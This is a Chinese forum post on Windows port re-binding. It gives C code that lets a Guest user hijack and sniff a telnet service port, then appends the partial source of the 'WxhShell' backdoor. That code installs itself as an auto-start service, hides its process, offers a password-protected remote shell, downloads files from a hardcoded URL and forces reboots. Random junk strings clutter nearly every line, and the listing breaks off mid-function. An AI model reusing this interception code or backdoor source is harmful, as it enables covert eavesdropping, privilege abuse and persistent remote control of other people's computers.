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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 3A!a7]fW  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,fp+nu8,  
UqI #F  
  saddr.sin_family = AF_INET; 7S }0Kuk)  
VkFh(Br<{  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4%J0e'iN  
_# sy  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); uP'L6p5  
KMwV;r  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 P)`^rJ6  
FuiR\"Ww  
  这意味着什么?意味着可以进行如下的攻击: xT"V9t[f  
QCW4gIp  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 D_d>A+  
(U.Go/A#wE  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ;|WUbc6&g  
vHf)gi}O|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =$J(]KPv!?  
#"4ioTL2  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -5b|nQuY  
LG&BWs!  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 D6Ad "|Z  
Cjf[]aNJe`  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 9VxM1-8Gs  
RqTO3Kf  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 >Bb X:  
3[ [oAp  
  #include DzGUKJh6  
  #include }_'5Vb_  
  #include #SHeK 4  
  #include    R xMsP;be  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *)Qv;'U=rn  
  int main() Z6zV 9hn  
  { %XG m\p  
  WORD wVersionRequested; 5)RZJrN]  
  DWORD ret; !d N[9}  
  WSADATA wsaData; O6hzOyNX@  
  BOOL val; /xk7Z q  
  SOCKADDR_IN saddr; pJ] Ix *M  
  SOCKADDR_IN scaddr; " #iJ/vy  
  int err; _p*9LsN$L  
  SOCKET s; I1fpX |  
  SOCKET sc; j+_fHADq  
  int caddsize; op}!1y$9P  
  HANDLE mt; S?0o[7(x*  
  DWORD tid;   45c?0tj  
  wVersionRequested = MAKEWORD( 2, 2 ); [h3xW  
  err = WSAStartup( wVersionRequested, &wsaData ); h9Far8}  
  if ( err != 0 ) { "r&,#$6W6  
  printf("error!WSAStartup failed!\n"); P$obID  
  return -1; cX-M9Cz  
  } N]+6<  
  saddr.sin_family = AF_INET; W'@ |ob  
   0)WAQt\/  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _= v4Iz0  
R])Eg&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); .gJ2P?  
  saddr.sin_port = htons(23); mw 28E\U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Wi&v?nm  
  { XR+ SjCA  
  printf("error!socket failed!\n"); -$Z1X_~;)<  
  return -1; !rUP&DA  
  } 6YM X7G]  
  val = TRUE; % Ln`c.C  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6HY): M&?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) "|8oFf)l@B  
  {  aO&U=!  
  printf("error!setsockopt failed!\n"); DC8#b`j  
  return -1; L0g+RohW  
  } e#C v*i_<  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ^ #:;6^Su  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 6j6CA?|  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 }:#WjH^  
LL(xi )  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 8S1@,O,  
  { NpH8=H9  
  ret=GetLastError(); 0zr27ko  
  printf("error!bind failed!\n"); A"JdG%t>.h  
  return -1; fa/S!%}fO  
  } EsGu#lD2  
  listen(s,2); O@Aazc5K  
  while(1) '3>;8(s l  
  { XKjrS 9:  
  caddsize = sizeof(scaddr); Ljy797{f  
  //接受连接请求 K{P-+(  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [9">}l  
  if(sc!=INVALID_SOCKET) LIID(s!bX  
  { ,{0Y:/T'  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); =?OU^ u`C  
  if(mt==NULL) OXQ*Xpc  
  { ?Y~t{5NJR  
  printf("Thread Creat Failed!\n"); DhM=q  
  break; $@z77td3  
  } U?0|2hR~  
  } o'DtW#F  
  CloseHandle(mt); v+nXKNL  
  } ZexC3LD"  
  closesocket(s); s/"bH3Ob9v  
  WSACleanup(); H a!,9{T  
  return 0; D^[l~K  
  }   z0}j7ns]  
  DWORD WINAPI ClientThread(LPVOID lpParam) \jC) ;mk  
  { %OBW/Ti  
  SOCKET ss = (SOCKET)lpParam; 0<m7:D Gd  
  SOCKET sc; V+`kB3GV  
  unsigned char buf[4096]; gRY#pRT6d  
  SOCKADDR_IN saddr; b9j}QK  
  long num; C7%R2>}?f  
  DWORD val; tRoSq;VrS  
  DWORD ret; !eyLh&]5  
  //如果是隐藏端口应用的话,可以在此处加一些判断 GY$Rkg6d  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   FSEf0@O:  
  saddr.sin_family = AF_INET; ,t`V^(PEq  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 6F (z6_<  
  saddr.sin_port = htons(23); 0>|q[SC  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) o[!'JUxZ  
  { geG0F}oC!  
  printf("error!socket failed!\n"); Xw4Eti._D  
  return -1; *?m)VvR>|  
  } ^Hn}\5  
  val = 100; _5p$#U`  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) R (f:UC  
  { doanTF4Da  
  ret = GetLastError(); |=}+%>y_  
  return -1; &ivU4rEG  
  } s 4`-mIa  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lO-DXbgql$  
  { jW:7PS  
  ret = GetLastError(); ~}_^$l8#-Q  
  return -1; "^4*,41U  
  } *Dp&;,b  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) %p}vX9U')  
  { -gs I:-Xo  
  printf("error!socket connect failed!\n"); o-8{C0>:  
  closesocket(sc); { I{ 0rV  
  closesocket(ss); wiN0|h>,  
  return -1; |ty&}'6C  
  } )U\i7[k>  
  while(1) t utk*|S  
  { \tgY2 :  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 e4YfJd  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 M XG>|  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 o26Y }W  
  num = recv(ss,buf,4096,0); [(n5-#1S  
  if(num>0) JO|j?%6YY  
  send(sc,buf,num,0); 6(E4l5 %  
  else if(num==0) K&[0`sH!  
  break; `:C1Wo^<  
  num = recv(sc,buf,4096,0); RE t&QP  
  if(num>0) x]7:MG$  
  send(ss,buf,num,0); :BxO6@>Xc  
  else if(num==0) H1-DK+Q:  
  break; b~.$1oZ  
  } ) 9Q+07  
  closesocket(ss); Y(,RJ&7  
  closesocket(sc); 2O kID WcM  
  return 0 ; !~E/Rp  
  } LW<Lg N"L-  
V6merT79  
gvc@q`_]  
========================================================== gclj:7U  
*B&P[n  
下边附上一个代码,,WXhSHELL 'dj3y/ k%  
':4ny]F  
========================================================== 4u5j 7`O  
q[Ai^79  
#include "stdafx.h" aqSOC(jU  
] G["TX,  
#include <stdio.h> 5RLO}Vn]  
#include <string.h> nYtkTP!J6  
#include <windows.h> [4yHXZxza  
#include <winsock2.h> ]>~.U ~  
#include <winsvc.h> f,O10`4s  
#include <urlmon.h> J^"_H:1[  
:cA P{rSe  
#pragma comment (lib, "Ws2_32.lib") a#1r'z~]}  
#pragma comment (lib, "urlmon.lib") KGJSGvo+y  
0L>3 i8'  
#define MAX_USER   100 // 最大客户端连接数 @ 51!3jeu  
#define BUF_SOCK   200 // sock buffer H r:*p6  
#define KEY_BUFF   255 // 输入 buffer dg|+?M^9`  
g+o$&'\  
#define REBOOT     0   // 重启 x;[)#>.'  
#define SHUTDOWN   1   // 关机 :3M ,]W]  
?h`,@~6u  
#define DEF_PORT   5000 // 监听端口 >9w^C1"  
0s`6d;  
#define REG_LEN     16   // 注册表键长度 a @? $#>  
#define SVC_LEN     80   // NT服务名长度 F.TIdkvp  
8g=O0Gb  
// 从dll定义API S*Ea" vBA  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); i7dDklj4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ,.Ofv):=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 4b}p[9k  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); xiW}P% bf  
GIlaJ!/  
// wxhshell配置信息 z"6o|]9I  
struct WSCFG { \0|x<~#j'  
  int ws_port;         // 监听端口 HP*)^`6X  
  char ws_passstr[REG_LEN]; // 口令 1'~+.92Y  
  int ws_autoins;       // 安装标记, 1=yes 0=no 4s m [y8  
  char ws_regname[REG_LEN]; // 注册表键名 ?Z|y-4 &>  
  char ws_svcname[REG_LEN]; // 服务名 _CNXyFw.7  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u4lM>(3Y}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *c#DB{N  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 |e8A)xM]wC  
int ws_downexe;       // 下载执行标记, 1=yes 0=no U,b80%k:  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" vT5GUO{5  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D?ic~-&  
z\v  
}; I 6WHC*  
UL ew ~j  
// default Wxhshell configuration U$D:gZ  
struct WSCFG wscfg={DEF_PORT, !wAnsK  
    "xuhuanlingzhe", >XZ2w_  
    1, ydD:6bBX  
    "Wxhshell", ]9 @4P$I  
    "Wxhshell", B)/&xQu  
            "WxhShell Service", J|xXo  
    "Wrsky Windows CmdShell Service", 7_Vd%<:  
    "Please Input Your Password: ", ~%\vX  
  1, ;R >>,&g  
  "http://www.wrsky.com/wxhshell.exe",  e$  
  "Wxhshell.exe" >%"TrAt  
    }; eZ) |m  
CMC p7- v  
// 消息定义模块 tln}jpCw  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <c@dE  
char *msg_ws_prompt="\n\r? for help\n\r#>"; em'3 8L|(  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q-, 4  
char *msg_ws_ext="\n\rExit."; `LFT"qnp  
char *msg_ws_end="\n\rQuit."; W[QgddR  
char *msg_ws_boot="\n\rReboot..."; KUW )F  
char *msg_ws_poff="\n\rShutdown..."; <> =(BAw  
char *msg_ws_down="\n\rSave to "; [ GknE#p  
wB8548C}-  
char *msg_ws_err="\n\rErr!"; (QFZM"G  
char *msg_ws_ok="\n\rOK!"; Z+R-}<   
GF9iK|i/  
char ExeFile[MAX_PATH]; iMVQt1/  
int nUser = 0; ~i-n_7+  
HANDLE handles[MAX_USER]; 0Wd5s{S  
int OsIsNt; P,S!Z&!  
"QfF]/:  
SERVICE_STATUS       serviceStatus; #5;4O{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gd3MP^O1  
5UL5C:3R9  
// 函数声明  t":^:i'M  
int Install(void); [9EL[}  
int Uninstall(void); fpNq  
int DownloadFile(char *sURL, SOCKET wsh); 2wU,k(F_  
int Boot(int flag); S@\&^1;4Hv  
void HideProc(void); un6W|{4]  
int GetOsVer(void); {w>ofyqfp&  
int Wxhshell(SOCKET wsl); CNiJuj`  
void TalkWithClient(void *cs); 5'Mw{`  
int CmdShell(SOCKET sock); U&kdR+dB  
int StartFromService(void); ADP[KZO$ 4  
int StartWxhshell(LPSTR lpCmdLine);  0Ns Po  
)$Fw<;4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @ 6jKjI  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); #SLi v  
W*c^(W  
// 数据结构和表定义 1%.CtTi  
SERVICE_TABLE_ENTRY DispatchTable[] = .Xta;Py|J  
{ cCtd\/ \  
{wscfg.ws_svcname, NTServiceMain}, 5k_%%><: q  
{NULL, NULL} IL8&MA%  
}; p<a~L~xH6  
#6AcM"  
// 自我安装 ohXbA9&(x  
int Install(void) :)_P7k`>e/  
{ Sr10ot&ox  
  char svExeFile[MAX_PATH]; @ceL9#:uc  
  HKEY key; ue *mTMN  
  strcpy(svExeFile,ExeFile); qB3& F pgW  
({rescQB  
// 如果是win9x系统,修改注册表设为自启动 K<ldl.  
if(!OsIsNt) { 0J)VEMC  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :fG9p`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2\}6b4  
  RegCloseKey(key); +/*A}!#v  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w RTzpG4  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); NLWj5K)1P  
  RegCloseKey(key); 'vIVsv<p  
  return 0; T7G{)wm  
    } #|xj*+)H  
  } ]=^NTm,  
} AK;G_L  
else { Lp||C@h~  
b|Ed@C  
// 如果是NT以上系统,安装为系统服务 p t{/|P  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); . =A|  
if (schSCManager!=0) ">I50#bT  
{ wCr+/" t  
  SC_HANDLE schService = CreateService i V%tn{fc  
  ( (P:.@P~  
  schSCManager, Jxb+NPUB  
  wscfg.ws_svcname, 'UCF2 L  
  wscfg.ws_svcdisp, )vur$RX  
  SERVICE_ALL_ACCESS, bU(fH^  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M\9p-%"L  
  SERVICE_AUTO_START, {u7_<G7  
  SERVICE_ERROR_NORMAL, [\i1I`7pE  
  svExeFile, [k +fkr]  
  NULL, T8QRO%t  
  NULL, :'dH)yO  
  NULL, Y6%O9b  
  NULL, gJn_8\,C>Q  
  NULL CI?M2\<g  
  ); D #twS  
  if (schService!=0) _Ai\XS Am  
  { 2ap0/l[  
  CloseServiceHandle(schService); .7zdA IKW  
  CloseServiceHandle(schSCManager); h "r)z6Q/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); wvSaq+N  
  strcat(svExeFile,wscfg.ws_svcname); c/}bx52>u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { *}i.,4+y   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ;lb@o,R :  
  RegCloseKey(key); cbA90 8@s  
  return 0; U@?Ro enn  
    } D(S^g+rd  
  } hz+x)M`Y  
  CloseServiceHandle(schSCManager); OGO4~Up  
} ?Da!QH >,]  
} 8BJ&"y8H  
|a {*r.  
return 1; r(qU~re'  
} #$>m`r  
F0FF:><  
// 自我卸载 Hq$?-%4  
int Uninstall(void) H]W59-{a  
{ kO\aNtK  
  HKEY key; ,NaNih1  
 bR5+({yH  
if(!OsIsNt) { aTY\mKk  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M>g\Y  
  RegDeleteValue(key,wscfg.ws_regname); *e05{C:kS  
  RegCloseKey(key); "(d7:!%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Go_~8w0<  
  RegDeleteValue(key,wscfg.ws_regname); )Wm:Ilq  
  RegCloseKey(key); 1vBXO bk  
  return 0; pEE.%U  
  } F4Gv=q)Z  
} '`Z5 .<n7p  
} MkG*6A  
else { Cc,,e`  
rt\4We,7  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); B[O1^jdO  
if (schSCManager!=0) #}!Ge  
{ {)0"?$C_H  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !_gHIJiq}  
  if (schService!=0) +Te;LJP  
  { s k_Q\0a  
  if(DeleteService(schService)!=0) { EWg\\90  
  CloseServiceHandle(schService); Bq]eNq  
  CloseServiceHandle(schSCManager); x, ^j=n  
  return 0; LY^pmak  
  } Xj<B!Wn*Xb  
  CloseServiceHandle(schService); 5)GO  
  } C_= WL(  
  CloseServiceHandle(schSCManager); /uzU]3KF~  
} V}kZowWD  
} G? "6[w/p  
5l"v:Px  
return 1; /u 8m|S<  
} 50.cMms  
y++[:M  
// 从指定url下载文件 2 -uL  
int DownloadFile(char *sURL, SOCKET wsh) Z;QbqMj  
{ i 7 f/r.  
  HRESULT hr;  u m[nz  
char seps[]= "/"; aD@sb o  
char *token; n15F4DnP  
char *file; PSQ5/l?\>  
char myURL[MAX_PATH]; k/yoRv%  
char myFILE[MAX_PATH]; /t083  
y-93 >Y  
strcpy(myURL,sURL); >I3#ALF  
  token=strtok(myURL,seps); {? jr  
  while(token!=NULL) O&?i8XsB  
  { O#E]a<N`  
    file=token; /K"koV;  
  token=strtok(NULL,seps); d[5?P?h')  
  } 8`*Wl;9u  
G.,dP +i  
GetCurrentDirectory(MAX_PATH,myFILE); :.IVf Zw  
strcat(myFILE, "\\"); @<tkwu  
strcat(myFILE, file); mRw &^7r  
  send(wsh,myFILE,strlen(myFILE),0); h$FpH\-  
send(wsh,"...",3,0);  IR,`-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); >?q()>l  
  if(hr==S_OK) kmm1b (  
return 0; UHYnl ]  
else *;wPAQE  
return 1; "Fu*F/KW  
eEIa=MB*  
} d3AOuVUf  
:Uf\r `a9  
// 系统电源模块 Q0I22?  
int Boot(int flag) d([NU;  
{ 8=H!&+aGh  
  HANDLE hToken; 0S0 ?\r  
  TOKEN_PRIVILEGES tkp; JZP>`c21y]  
+.T&U7xV  
  if(OsIsNt) { hGx)X64Mw  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ((TiBCF4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 8C2s-%:  
    tkp.PrivilegeCount = 1; MS-}IHO  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  `k/hC  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); YT6<1-E#  
if(flag==REBOOT) { %SL'X`j  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cbD&tsF  
  return 0; N*N@wJy:5  
} s('<ms  
else { cWSiJr):r  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ]VY}VALZ  
  return 0; : uglv6  
} Rdd[b?  
  } y-gSal  
  else { :[oFe/1K!4  
if(flag==REBOOT) { B(x i  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ML!Z m[I9  
  return 0; 4~8++b1/;  
} _Kg:jal  
else { mr]IxTv  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) +(*S@V$c  
  return 0; ;#G)([  
} A>8uLO G}  
} .olDmFQD  
=#||&1U$  
return 1; Q<.84 7 )  
} b/:&iG;  
8r7~ >p~  
// win9x进程隐藏模块 h\ema|  
void HideProc(void) 5"=qVmT)  
{ Z> jk\[  
%Ji@\|Zkf  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8|uFW7Q  
  if ( hKernel != NULL ) ^T83E}  
  { ?r"'JO.w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); K r9 P#Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^fT|Wm<  
    FreeLibrary(hKernel); Ai&-W  
  } !%<bLD8  
8jW"8~Y#0  
return; TQyi -Dc  
} g z-X4A"  
V )CS,w  
// 获取操作系统版本 SR@yG:~  
int GetOsVer(void) 8y5iT?.~vy  
{ 3VZeUOxY\W  
  OSVERSIONINFO winfo; Zb<IZ)i#1  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |X/ QSL  
  GetVersionEx(&winfo); ,b2YUb]U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7yGc@kJ?  
  return 1; j^ VAA\  
  else _zq"<Q c  
  return 0; u/3[6MIp  
} kZXsL  
s*<\ mwB  
// 客户端句柄模块 8C1 'g7A<  
int Wxhshell(SOCKET wsl) RM8p[lfX  
{ ]03+8 #J  
  SOCKET wsh; j3`# v3  
  struct sockaddr_in client; v|:2U8YREf  
  DWORD myID; ],l w  
]]~tFdh  
  while(nUser<MAX_USER) EY=`/~|c  
{ @giJ&3S,  
  int nSize=sizeof(client); .:?X<=!S&t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); V3 j1M?>  
  if(wsh==INVALID_SOCKET) return 1; ns|)VX   
)&R^J;W$M1  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;Z%PBMa  
if(handles[nUser]==0) \~|+*^e)  
  closesocket(wsh); qP6 YnJWl  
else bi`{ k\3A  
  nUser++; |F _ Z  
  } \8v{9Yb  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wy{xTLXk2  
*"4d6  
  return 0; dLb9p"EE#  
} PMER~}^  
Y0`@$d&n  
// 关闭 socket nA:\G":\y  
void CloseIt(SOCKET wsh) J ik+t\A  
{ T=6fZ;7  
closesocket(wsh); =\;yxl  
nUser--; Ml`tDt|;  
ExitThread(0); R[Y]B$XO  
} :<$B o  
Id`?yt  
// 客户端请求句柄 |_q:0qo  
void TalkWithClient(void *cs) 8YNii-pl  
{ ~^#F5w"  
#jdo54-  
  SOCKET wsh=(SOCKET)cs; tmM8YN|  
  char pwd[SVC_LEN]; 6E~T$^Q}  
  char cmd[KEY_BUFF]; v0EF?$Wo  
char chr[1]; &?\'Z~B4  
int i,j; ^MJTlRUb  
ATq)8Rm\  
  while (nUser < MAX_USER) { hs'J'~a  
 wfr+-  
if(wscfg.ws_passstr) {  g wM~W  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kkfwICBI  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Q2[@yRY/z  
  //ZeroMemory(pwd,KEY_BUFF); N\ nr  
      i=0; )aY^k|I  
  while(i<SVC_LEN) { '\yp}r'u  
d4@\5<  
  // 设置超时 WR'm<u  
  fd_set FdRead; r?Y+TtF\e  
  struct timeval TimeOut; uYW9kw>$  
  FD_ZERO(&FdRead); tEEeek(!  
  FD_SET(wsh,&FdRead); 99Jk<x k  
  TimeOut.tv_sec=8; 4 j9  
  TimeOut.tv_usec=0; @.T w*t  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b"x[+&%i  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q^nSYp#  
3fC|}<Wzt  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7gIK+1`  
  pwd=chr[0]; C~\/FrO?  
  if(chr[0]==0xd || chr[0]==0xa) { @R+bR<}]  
  pwd=0; \Kh@P*7  
  break; E]x)Qr2Ju  
  } hVQ TW[  
  i++; c-S_{~~  
    } a|B^%  
A)I4 `3E  
  // 如果是非法用户,关闭 socket &mebpEHUG7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ppcuMcR{  
} [5&zyIi  
wm@ />X  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 1S !<D)n  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hR;J#w  
Mv9q-SIc[  
while(1) { ]KX _a1e  
<a>\.d9#)7  
  ZeroMemory(cmd,KEY_BUFF); $,+'|_0yM  
b}P5*}$:9"  
      // 自动支持客户端 telnet标准   cp|&&q  
  j=0; ![O@{/  
  while(j<KEY_BUFF) { IEb"tsel  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K*&?+_v :  
  cmd[j]=chr[0]; ]V9z)uz  
  if(chr[0]==0xa || chr[0]==0xd) { gemjLuf  
  cmd[j]=0; RfPRCIo  
  break; I"*;fdm  
  } \<ohe w  
  j++;  (`0dO8  
    } @d5G\1(%  
z?~W]PWiZ  
  // 下载文件 Iq&S6l <0  
  if(strstr(cmd,"http://")) { lLuAZoH  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =6#tJgg8  
  if(DownloadFile(cmd,wsh)) %\=oy=f  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); .HTX7mA3  
  else !ra CpL9;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mPHn &4  
  } %y zFWDg  
  else { ~<0!sE&y  
6km{= ```  
    switch(cmd[0]) { 5H_%inWM  
  'TPRGX~&  
  // 帮助 ?L|Jc_E  
  case '?': { Ck,.4@\tK  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); kqYvd]ss  
    break; ,WF)GS|7V  
  } _#c^z;!  
  // 安装 Uk5O9D0 He  
  case 'i': { 5- Q`v/w;  
    if(Install()) H!dUQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %9|=\# G  
    else A@/DGrZX  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G@Dw  
    break; J90q\_dY.  
    } + ~ro*{3  
  // 卸载 $q}}w||e~0  
  case 'r': { ? C2 bA5 M  
    if(Uninstall()) *b" (r|Ko  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WWF#&)ti  
    else T W?O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); rN|c0N  
    break; &k3'UN!&Ix  
    } k fx<T  
  // 显示 wxhshell 所在路径 p9<OXeY   
  case 'p': { LX<c(i  
    char svExeFile[MAX_PATH]; g{8 R+  
    strcpy(svExeFile,"\n\r"); XezO_V  
      strcat(svExeFile,ExeFile); `~( P  
        send(wsh,svExeFile,strlen(svExeFile),0); kmM4KP#&|  
    break; s(7'*`G"h  
    } Fz+0h"  
  // 重启 ;K?fAspSH  
  case 'b': { Fi{~UOZg  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 0|X!Uw-Q%_  
    if(Boot(REBOOT)) 2tvMa%1^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mj$dDtw  
    else { $;*YdZ`q  
    closesocket(wsh); l79jd%/m  
    ExitThread(0); q>&F%;q1]  
    } '3uj6Wq2  
    break; ~B%EvG7:n  
    } N}\Da: _  
  // 关机 !l'Az3'J|  
  case 'd': { |dNtM^  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZNPzQ:I@  
    if(Boot(SHUTDOWN)) x_Ki5~w5  
